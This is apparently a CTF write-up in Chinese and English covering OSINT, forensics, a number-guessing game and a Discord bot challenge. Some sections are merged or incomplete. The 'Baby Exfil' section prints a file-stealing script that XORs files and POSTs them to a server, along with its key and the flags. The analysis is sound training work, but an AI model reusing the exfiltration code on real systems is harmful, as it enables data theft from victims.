During an episode of Go Go Squid!, Han Shangyan was too scared to go on a roller coaster. What’s the English name of this roller coaster? Also, what’s its height in whole feet?
Flag format: uoftctf{Coaster_Name_HEIGHT}
Example: uoftctf{Yukon_Striker_999}
Notes:
Flag is case-insenstive, just remember to replace spaces with underscores and no decimal points
Solution
上海欢乐谷的过山车,直接搜
Diving Coaster
64.9米 -> 213英尺
FLAG
1
uoftctf{Diving_Coaster_213}
Forensics
Baby Exfil
Challenge
Team K&K has identified suspicious network activity on their machine. Fearing that a competing team may be attempting to steal confidential data through underhanded means, they need your help analyzing the network logs to uncover the truth.
for root, dirs, files in os.walk(base_path): for file in files: ifany(file.endswith(ext) for ext in extensions): filepath = os.path.join(root, file) try: withopen(filepath, 'rb') as f: content = f.read() encrypted = xor_file(content, key) hex_data = encrypted.hex() requests.post(server, files={'file': (file, hex_data)}) print(f"Sent: {file}") except: pass
发现是窃取信息的脚本,加密方式是异或,密钥是 G0G0Squ1d3Ncrypt10n
直接在厨子解密就行,一张张试下来发现 flag 在 HNderw.png 里
FLAG
1
uoftctf{b4by_w1r3sh4rk_an4lys1s}
My Pokemon Card is Fake!
Challenge
Han Shangyan noticed that recently, Tong Nian has been getting into Pokemon cards. So, what could be a better present than a literal prototype for the original Charizard? Not only that, it has been authenticated and graded a PRISTINE GEM MINT 10 by CGC!!!
Han Shangyan was able to talk the seller down to a modest 6-7 figure sum (not kidding btw), but when he got home, he had an uneasy feeling for some reason. Can you help him uncover the secrets that lie behind these cards?
What you will need to find:
Date and time (relative to the printer, and 24-hour clock) that it was printed.
Printer’s serial number.
The flag format will be uoftctf{YYYY_MM_DD_HH:MM_SERIALNUM}
Example: uoftctf{9999_09_09_23:59_676767676}
Notes:
You’re free to dig more into the whole situation after you’ve solved the challenge, it’s very interesting, though so much hasn’t been or can’t be said :(
Two days after I write this challenge, I’m going to meet the person whose name was used for all this again. Hopefully I’ll be back to respond to tickets!!!
wins = 0 x = random.randint(0, MAX_NUM) for i inrange(QUOTA): expression = literal_eval(input(f"Input your expression ({i}/{QUOTA}): ")) ifbool(evaluate(expression, x)): print("Yes!") else: print("No!")
guess = int(input("Guess the number: ")) if guess == x: print("Yay you won! Here is the flag: ") print(open("flag.txt", 'r').read()) else: print("Wrong. Good luck next time.")
[*] x: 1145781467477418760816437023339 [x] Receiving all data [x] Receiving all data: 0B [x] Receiving all data: 70B [+] Receiving all data: Done (70B) [*] Closed connection to 35.231.13.90 port 5000 Yay you won! Here is the flag: uoftctf{h0w_did_y0u_gu3ss_7h3_numb3r}
FLAG
1
uoftctf{h0w_did_y0u_gu3ss_7h3_numb3r}
K&K Training Room
Challenge
Welcome to the K&K Training Room. Before every match, players must check in through the bot. A successful check in grants the K&K role, opening access to team channels and match coordination. https://discord.gg/3u6V8uAGm7
/* ───────────────────── DATA ───────────────────── */
constHAN_SHANGYAN_QUOTES = [ "I'm yours. Sooner or later, I will be.", "Except for you, no one else matters to me.", "Romance isn't important. A lifetime is. I'll give you all of it.", "My little squid, I'll take responsibility for you.", "I don't know how to talk sweetly, but everything I do is for you.", "To you, I might just be one relationship. To me, you are my life.", "As long as you're willing to stay, I won't let go.", "I don't like explaining myself, but for you, I will.", "Winning is important, but you matter more.", "I'm not good at promises. If I say it, I mean it.", "I don't need the world to understand me. You understanding me is enough.", "I won't say I love you often, but I'll prove it every day.", "I've waited a long time. I can wait for you too.", "If you want me, then I'm yours.", "I'm not gentle by nature. My gentleness is only for you.", "I don't know what the future holds, but I know I want you in it.", "I won't let anyone bully you. Not now, not ever.", "You're not a distraction. You're my motivation.", "If you fall behind, I'll slow down and walk with you.", "I'm not afraid of losing games. I'm afraid of losing you.", "I don't chase happiness. I protect it.", "I may look cold, but everything I do is serious.", "As long as you're here, I'm home.", "I don't need applause. I need you.", "You don't need to grow up so fast. I'm here.", "I'll handle the hard parts. You just stay happy.", "I don't talk much, but I'll always show up.", "If you believe in me, I'll win for you.", "I don't regret meeting you. Not even once.", "From now on, your future includes me.", ];
client.on(Events.MessageCreate, async (message) => { if (message.content !== '!webhook') return; if (!isAdmin(message)) { return message.reply(`Only \`${CONFIG.ADMIN_NAME}\` can set up the K&K announcer webhook.`); }
const guild = client.guilds.cache.get(CONFIG.TARGET_GUILD_ID); if (!guild) { return interaction.reply({ content: `Could not access guild (${CONFIG.TARGET_GUILD_ID}).`, flags: MessageFlags.Ephemeral, }); }
const role = guild.roles.cache.find(r => r.name === CONFIG.ROLE_NAME); if (!role) { return interaction.reply({ content: `Role **${CONFIG.ROLE_NAME}** not found in **${guild.name}**.`, flags: MessageFlags.Ephemeral, }); }
let member; try { member = await guild.members.fetch(interaction.user.id); } catch { return interaction.reply({ content: `You're not a member of **${guild.name}**.`, flags: MessageFlags.Ephemeral, }); }